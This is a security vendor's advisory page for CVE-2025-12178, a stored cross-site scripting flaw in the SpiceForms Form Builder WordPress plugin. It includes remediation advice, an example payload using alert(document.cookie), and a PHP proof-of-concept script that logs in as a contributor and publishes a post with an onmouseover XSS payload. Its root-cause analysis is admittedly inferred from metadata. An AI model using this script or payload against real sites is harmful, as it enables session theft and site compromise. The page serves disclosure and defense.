Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12178: SpiceForms Form Builder <= 1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode (spiceforms-form-builder)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0
Patched Version
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12178 (metadata-based):
The SpiceForms Form Builder plugin version 1.0 contains an authenticated stored cross-site scripting vulnerability. Attackers with contributor-level or higher WordPress permissions can inject arbitrary JavaScript via the ‘spiceforms’ shortcode attributes. The injected scripts execute in the context of any user viewing a page containing the malicious shortcode.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a shortcode handler using `add_shortcode(‘spiceforms’, …)` that directly echoes or returns attribute values without proper escaping. This inference is based on the CWE-79 classification and the description specifying shortcode attribute exploitation. Without source code, this remains a logical conclusion from the metadata rather than a confirmed code path.

Exploitation requires an authenticated attacker with contributor privileges. The attacker creates or edits a post or page, inserting the ‘spiceforms’ shortcode with malicious attributes. For example: `[spiceforms id=”1″ onmouseover=”alert(document.cookie)”]`. When the post is published, the malicious payload persists in the database. The payload executes whenever any user views the page containing the shortcode. The attack vector operates through the standard WordPress editor interface, not a custom endpoint.

Remediation requires implementing proper output escaping on all shortcode attribute values before rendering. The plugin should use WordPress escaping functions like `esc_attr()` for HTML attributes and `wp_kses()` for HTML content. Shortcode handlers must validate and sanitize attribute values using `sanitize_text_field()` or similar functions before processing. A patch would modify the shortcode callback function to escape all output.

Successful exploitation allows attackers to steal session cookies, perform actions as authenticated users, deface websites, or redirect users to malicious sites. Contributor-level attackers can escalate privileges by targeting administrators. The stored nature means a single injection affects all subsequent visitors. The vulnerability has medium impact due to the authentication requirement but high reach because stored XSS affects all site users.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12178 - SpiceForms Form Builder <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
/**
 * Proof of Concept for CVE-2025-12178
 * Assumptions:
 * 1. Target site has SpiceForms Form Builder plugin v1.0 installed
 * 2. Attacker has valid contributor credentials
 * 3. Standard WordPress login and post creation endpoints are available
 * 4. Shortcode injection occurs via post content
 */

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Extract nonce for post creation
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Parse nonce from response (simplified - real implementation needs proper HTML parsing)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

if (empty($nonce)) {
    echo "Failed to extract nonce. Manual inspection required.n";
    exit;
}

// Step 3: Create post with malicious shortcode
$create_post_url = $target_url . '/wp-admin/post.php';
$post_title = 'Test Post with XSS';
$post_content = '[spiceforms id="1" class="" onmouseover="alert('XSS via CVE-2025-12178')"]';
$post_data = [
    'post_title' => $post_title,
    'content' => $post_content,
    'action' => 'editpost',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'publish' => 'Publish',
    'post_status' => 'publish'
];

curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 4: Verify post creation
if (strpos($response, 'Post published') !== false || strpos($response, 'Post updated') !== false) {
    echo "Success: Malicious post created with XSS payload in spiceforms shortcode.n";
    echo "Payload: " . htmlspecialchars($post_content) . "n";
    echo "Visit the published post to trigger the XSS.n";
} else {
    echo "Failed to create post. Check permissions or nonce validity.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School